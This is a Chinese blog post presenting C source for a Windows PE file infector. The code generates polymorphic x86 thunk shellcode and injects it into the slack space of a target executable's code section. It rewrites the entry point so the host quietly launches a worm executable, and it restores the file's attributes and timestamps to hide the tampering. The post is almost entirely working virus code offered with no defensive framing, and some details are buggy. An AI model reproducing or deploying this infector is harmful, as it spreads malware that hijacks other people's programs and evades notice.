Thunk Code Inject

//花猫的Thunk Code Inject
#include "windows.h"

char *InfectCode = NULL;
DWORD aCreateProcess = 0;

int GetRand()
{
  return rand();
}

//disassemblied thunk code
/*
:00401000.6842104000     push   00401042                  
:00401005 33C9           xor    ecx,ecx                    
:00401007 64FF31         push   fs:dword ptr [ecx]        
:0040100A 648921         mov    fs:[ecx],esp              
:0040100D 33C0           xor    eax,eax                    
:0040100F 6A10           push   00000010                  
:00401011 59             pop    ecx                        
:00401012 50             push   eax                        
:00401013 E2FD           loop   T.00401012 (00401012)    
:00401015 6A44           push   00000044                  
:00401017 8BD4           mov    edx,esp                    
:00401019 83EC10         sub    esp,00000010              
:0040101C 8BCC           mov    ecx,esp                    
:0040101E 51             push   ecx                        
:0040101F 52             push   edx                        
:00401020 50             push   eax                        
:00401021 50             push   eax                        
:00401022 50             push   eax                        
:00401023 50             push   eax                        
:00401023 50             push   eax                        
:00401024 50             push   eax                        
:00401025 50             push   eax                        
:00401026 6854104000     push   00401054                  
:0040102B 50             push   eax                        
:0040102C B878563412     mov    eax,12345678              
:00401031 FFD0           call   eax                        
:00401033 83C454         add    esp,00000054              
:00401036 33C9           xor    ecx,ecx                    
:00401038 648F01         pop    fs:dword ptr [ecx]        
:0040103B 5E             pop    esi                        
:0040103C 6868104000     push   00401068                  
:00401041 C3             ret                              
:00401042 6868104000     push   00401068                  
:00401047 8B442410       mov    eax,[esp+10]              
:0040104B 8F80B8000000   pop    dword ptr [eax+000000B8]  
:00401051 33C0           xor    eax,eax                    
:00401053 C3             ret                              
;vfilename is here
*/

/*
Build the thunk code. This is the kernel code.
Parameters:
hostentry:original file's code entry point(RVA)
startaddr:where my thunk code start(RVA)
vname:worm file name, include full path
*/
int BuildInfectCode(const DWORD hostentry, const DWORD startaddr, const char *vname)
{
  char *p = InfectCode;
  unsigned char t, c1, c2;
  int i;

  if(0 == aCreateProcess)
      aCreateProcess = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateProcessA");
//code body
  *p++ = 0x68; //push
  *(DWORD *)p = startaddr + 0x42; //seh handler
  p += 4;
  t = GetRand() % 3; //eax, edx, ecx
  *p++ = 0x31 + ((GetRand() && 1) << 1); //xor
  *p++ = 0xc0 | (t << 3) | t; //xor reg, reg
  *p++ = 0x64; //fs
  *p++ = 0xff; //push
  *p++ = 0x30 | t;
  *p++ = 0x64; //fs
  *p++ = 0x89; //mov
  *p++ = 0x20 | t; //mov [reg], esp

  t = GetRand() % 3; //eax, edx
  if(0x01 == t) t = 0; //don't use ecx
  *p++ = 0x31 + ((GetRand() && 1) << 1); //xor
  *p++ = 0xc0 | (t << 3) | t; //xor reg, reg
  *(WORD *)p = 0x106a; //push 10h
  p += 2;
  *p++ = 0x59; //pop ecx
  *p++ = 0x50 | t; //push reg
  *(WORD *)p = 0xfde2; //loop $ - 3
  p += 2;

  *(WORD *)p = 0x446a; //push 44h
  p += 2;

  c1 = (t + 1) % 3;
  for(c2 = 0; c2 < 3; c2++)
      if(c2 != t && c2 != c1) break;
  *p++ = 0x8b; //mov
  *p++ = 0xc4 | (c1 << 3); //mov reg1, esp STARTUPINFO
  *(DWORD *)p = 0x8b10ec83; //sub esp, 10h/mov
  p += 4;
  *p++ = 0xc4 | (c2 << 3); //mov reg2, esp PROCESS_INformATION
  *p++ = 0x50 | c2; //push reg2
  *p++ = 0x50 | c1; //push reg1
  for(i = 0; i < 6; i++)
      *p++ = 0x50 | t; //push reg, reg is 0

  *p++ = 0x68; //push
  *(DWORD *)p = startaddr + 0x54; //virus file name
  p += 4;
  *p++ = 0x50 | t; //push reg, reg is 0

  t = GetRand() % 3; //eax, edx, ecx
  *p++ = 0xb8 | t; //mov
  *(DWORD *)p = aCreateProcess; //mov reg, aCreateProcess
  p += 4;
  *p++ = 0xff;
  *p++ = 0xd0 | t; //call reg
  t = GetRand() % 3; //eax, edx, ecx
  *(DWORD *)p = 0x3354c483; //add esp, 54h/xor
  p += 4;
  *p++ = 0xc0 | (t << 3) | t; //xor reg, reg
  *p++ = 0x64; //fs
  *p++ = 0x8f; //push
  *p++ = t;
  *p++ = 0x58 | (GetRand() % 3);

  *p++ = 0x68; //push
  *(DWORD *)p = hostentry; //host entry
  p += 4;
  *p++ = 0xc3; //retn

//seh handler
  *p++ = 0x68; //push
  *(DWORD *)p = hostentry; //host entry
  p += 4;
  *(DWORD *)p = 0x1024448b; //mov eax, [esp + 10h]
  p += 4;
  *(WORD *)p = 0x808f; //pop
  p += 2;
  *(DWORD *)p = 0xb8; //pop [eax + 0b8h]
  p += 4;
  *(WORD *)p = 0xc033; //xor eax,eax
  p += 2;
  *p++ = 0xc3; //retn

  i = -1;
  do {
      *p++ = vname[++i];
  }while(vname[i] != 0);

  return p - InfectCode;
}

void InfectFileHelper(char *buf, const char *vname)
{
  char *p = buf, *sec;
  DWORD entry, code, t, startaddr, base;
  int i, seccount, clen;

  if(NULL == InfectCode)
      InfectCode = new char[4096];
  try {
      if(*(WORD *)p != 0x5a4d) return;
      p = buf + *(WORD *)(p + 0x3c);
      if(*(WORD *)p != 0x4550) return;
      t = *(WORD *)(p + 0x5c);
      if(t != 0x02 && t != 0x03) return;
      entry = *(DWORD *)(p + 0x28);
      sec = p + 0x100;
      seccount = *(WORD *)(p + 6);
      for(i = 0; i < seccount; i++) {
          if(*(DWORD *)(sec + 4) <= entry
              && *(DWORD *)sec + *(DWORD *)(sec + 4) > entry)
              break;
          sec += 0x28;
      }
      if(i >= seccount - 1)
          return; //assume the code section is not the last one
      t = *(DWORD *)(sec + 0x08);
      if(*(DWORD *)sec < t) t = *(DWORD *)sec;
      startaddr = *(DWORD *)(sec + 0x04) + t;
      base = *(DWORD *)(p + 0x34);
      clen = BuildInfectCode(entry + base, startaddr + base, vname);
      code = t + *(DWORD *)(sec + 0x0c);
      if(*(DWORD *)(sec + 0x28 + 0x0c)
          <= code + clen)
          return; //no enough room
      MoveMemory(buf + code, InfectCode, clen);
      *(DWORD *)(p + 0x28) = startaddr;
  }
  catch(...) {
  }
}

void InfectFile(const char *filename, const char *vname)
{
  HANDLE fh, fm;
  DWORD fa = GetFileAttributes(filename);
  FILETIME ft[3];
  char *buf;
 
  SetFileAttributes(filename, FILE_ATTRIBUTE_NORMAL);
  GetFileTime(fh, ft, ft + 1, ft + 2);
  fh = CreateFile(filename, GENERIC_READ | GENERIC_WRITE,
      FILE_SHARE_READ, NULL, OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL, 0);
  if(INVALID_HANDLE_value == fh) goto end;

  fm  = CreateFileMapping(fh, NULL, PAGE_READWRITE, 0, 0, NULL);
  if(fm != NULL) {
      buf = (char *)MapViewOfFile(fm, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);      
      if(buf != NULL) {
          InfectFileHelper(buf, vname);
          UnmapViewOfFile(buf);
      }
      CloseHandle(fm);
  }
  CloseHandle(fh);
end:
  SetFileAttributes(filename, fa);
  SetFileTime(fh, ft, ft + 1, ft + 2);
}

int main()
{
  srand(GetTickCount());
  InfectFile("C://example.exe", "C:/worm/me.exe");
  return 0;
}

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值